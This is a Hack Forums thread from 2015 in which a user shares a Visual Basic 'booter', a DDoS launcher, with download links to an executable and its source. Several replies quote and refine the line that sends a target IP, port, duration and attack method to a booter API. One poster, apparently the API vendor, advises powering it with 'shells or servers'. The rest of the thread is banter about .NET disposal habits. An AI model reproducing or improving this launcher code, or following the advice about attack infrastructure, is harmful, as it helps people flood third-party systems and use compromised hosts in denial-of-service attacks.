

Forum:[Hack Forums](#)

Thread: [Booter Source.](#)

Manipulate - March 15, 2015, 12:32 am

Hey guys, I been messing around with Visual Basic and I made this small booter.

DL: <https://www.dropbox.com/s/cin6f0q5zepmx84/WindowsApplication1.exe?dl=0>

Source: <https://www.dropbox.com/s/9sk38kvtr4iyyks/Booter.rar?dl=0>

My API key isn't fully set up so the booter won't be working. Here is proof of the time and everything.

<https://gyazo.com/0f17adf51c69d0e1f6bdef76274f064c>

I will be looking into getting a real API key hooded up and hits well. This is just to see how it works, it is not meant for booting. Even though it will run a attack on my API it won't anything off.

Enjoy!

zeroexp - March 15, 2015, 2:10 am

Was it really worth it releasing a single line of code which does not even work?

```
Code Dim response As String = New  
Net.WebClient().DownloadString("http://novalytech.com/send.php?key=Server&host={$host}&time={  
$time}&port={$port}&method={$method}" & "&host=" & ip.Text & "&port=" & port.Text & "&time=" &  
time.Text & "&method=" & method.Text)
```

Only3 - March 15, 2015, 11:25 am

(Mar 15, 2015 02:10 AM)Wops Wrote: [\[CITE\]](#) Was it really worth it releasing a single line of code which does not even work?

```
Code Dim response As String = New  
Net.WebClient().DownloadString("http://novalytech.com/send.php?key=Server&host={$host}&time={  
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time.Text & "&method=" & method.Text)  
New Net.WebClient().DownloadString("http://novalytech.com/send.php?key=Server&host=" &  
ip.Text & "&port=" & port.Text & "&time=" & time.Text & "&method=" & method.Text)
```

SIM-1456245 - March 15, 2015, 11:33 am

(Mar 15, 2015 11:25 AM)Only3 Wrote: [\[CITE\]](#) New

```
Net.WebClient().DownloadString("http://novalytech.com/send.php?key=Server&host=" & ip.Text &  
"&port=" & port.Text & "&time=" & time.Text & "&method=" & method.Text)
```

```
New  
Net.WebClient().DownloadString(String.Format("http://novalytech.com/send.php?key={0}&host={1}&  
port={2}&time={3}&method={4}", server.Text, ip.Text, port.Text, time.Text, method.Text))
```

Only3 - March 15, 2015, 11:35 am

(Mar 15, 2015 11:33 AM)Electroalek Wrote: [\[CITE\]](#) New

```
Net.WebClient().DownloadString(String.Format("http://novalytech.com/send.php?key={0}&host={1}&  
port={2}&time={3}&method={4}", server.Text, ip.Text, port.Text, time.Text, method.Text))
```

Call New

```
Net.WebClient().DownloadString(String.Format("http://novalytech.com/send.php?key={0}&host={1}&port={2}&time={3}&method={4}", server.Text, ip.Text, port.Text, time.Text, method.Text))
```

Manipulate - March 15, 2015, 12:17 pm

I wasn't making it to work, I was just showing you the concep of a api booter with Visual Basic.

Hiiro - March 15, 2015, 12:19 pm

(Mar 15, 2015 12:17 PM)TO0R Wrote: [\[CITE\]](#) I wasn't making it to work, I was just showing you the concep of a api booter with Visual Basic.We're all pretty familiar with the concept of an "API Booter",

it'd probably wise not to post a non-working source.

Syracusia - March 15, 2015, 12:20 pm

That seems to be proper code for our api manager. It accepts GET requests so any download of a properly formatted string will work with our api creator.

@op remember you have to power your API with your own shells or servers

Also I would try to keep your API key private so people can't start using it.

0xDEAD10CC - March 15, 2015, 12:53 pm

Code New WebClient().IDontKnowHowToDisposeProperlyAndThinkOneLinersAreTheBest()...
This is why I despise the .NET section.

SIM-1676753 - March 15, 2015, 12:58 pm

(Mar 15, 2015 12:53 PM)0xDEAD10CC Wrote: [\[CITE\]](#) Code New
WebClient().IDontKnowHowToDisposeProperlyAndThinkOneLinersAreTheBest()...
This is why I despise the .NET section.
It should be done somewhat like this:

```
Code Using client As New WebClient()  
    Dim content = client.DownloadString("http://www.google.com/")  
End Using
```

Only3 - March 15, 2015, 1:02 pm

(Mar 15, 2015 12:53 PM)0xDEAD10CC Wrote: [\[CITE\]](#) Code New
WebClient().IDontKnowHowToDisposeProperlyAndThinkOneLinersAreTheBest()...
This is why I despise the .NET section.
Code New WebClient().IKnowHowToDisposeProperlyAndThinkOneLinersAreTheBest()...
This is why I like the .NET section !

0xDEAD10CC - March 15, 2015, 1:21 pm

That's why most .NET skids who attempt to move over to C or C++ die... Lol. C# and VB.NET provide a super easy using statement to implement the RAII concept, and still only 50% of the .NET programmers use it.

Only3 - March 15, 2015, 1:36 pm

nha why to waste hf db when its not needed ?

once i change my sig to clear that the code i post (with all the bad habits) is debug code and they should use better declaration add error handling and dispose when its needed

This was my sig

Code PS: most of the codes i post is debug code so u need to use better declaration, to add error handling and dispose when its needed

0xDEAD10CC - March 15, 2015, 1:40 pm

Lol, half of the code posted on HF is a waste of space on the HF database so I have no shame in posting my random comments here and there. I don't lose any sleep over it. :)

I see:

Code New WebClient().FunctionCall()...

Everywhere in the majority of production code in these .NET forums though, so my point still stands. Even if some users just post it as an example, there are many that write production code like this.

Here is a post that explains something *proper*:

<https://hackforums.net/showthread.php?tid=4731244&pid=45253985#pid45253985>

And if something needs to be done when an exception is thrown, you'd translate that into a try-catch-finally statement, and throw that Dispose() call in the Finally body. Or a try-finally if you need to do more than just call Dispose(), but don't need to do anything when an exception is thrown. All of those choices are still better than not disposing at all an IDisposable object.

Manipulate - March 15, 2015, 1:48 pm

Yes, I know the booter isn't working, of course it is not. As of I did not upload any shells or put it on a server. I don't care if my API key is out there because it is not setup. I am just doing this for anyone out there who wants to actually know some basics. I don't mean to be rude or anything. I am just a beginner, this is just showing the concept for any beginners out there. If I did have a working API I would not release the source.

Only3 - March 15, 2015, 2:05 pm

(Mar 15, 2015 01:40 PM)0xDEAD10CC Wrote: [\[CITE\]](#) Lol, half of the code posted on HF is a waste of space on the HF database so I have no shame in posting my random comments here and there. I don't lose any sleep over it. :)

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? idb get mad on me b4 few weeks for the same reason for u its easy ^^ take u ~ 30 sec to write for me to write ^^ will take ~ 10 min and probably with some mistakes

<https://hackforums.net/showthread.php?tid=4713469&pid=45077695#pid45077695>

Syracusia - March 15, 2015, 2:36 pm

(Mar 15, 2015 01:48 PM)TO0R Wrote: [\[CITE\]](#) Yes, I know the booter isn't working, of course it is not. As of I did not upload any shells or put it on a server. I don't care if my API key is out there because

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I gotcha, nice share then! Your contributions are appreciated!